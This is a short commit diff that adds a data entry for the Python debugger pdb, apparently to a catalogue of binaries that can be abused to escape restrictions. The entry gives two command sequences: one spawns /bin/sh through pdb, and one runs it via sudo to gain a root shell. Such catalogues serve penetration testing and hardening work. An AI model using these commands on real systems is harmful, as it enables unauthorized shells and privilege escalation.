add data source for pdb

data/pdb.json

@@ -0,0 +1,15 @@
+{
+  "description": "This allows to execute Python code, other functions may apply.",
+  "functions": {
+    "shell": [
+      {
+        "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n"
+      }
+    ]
+  }
+}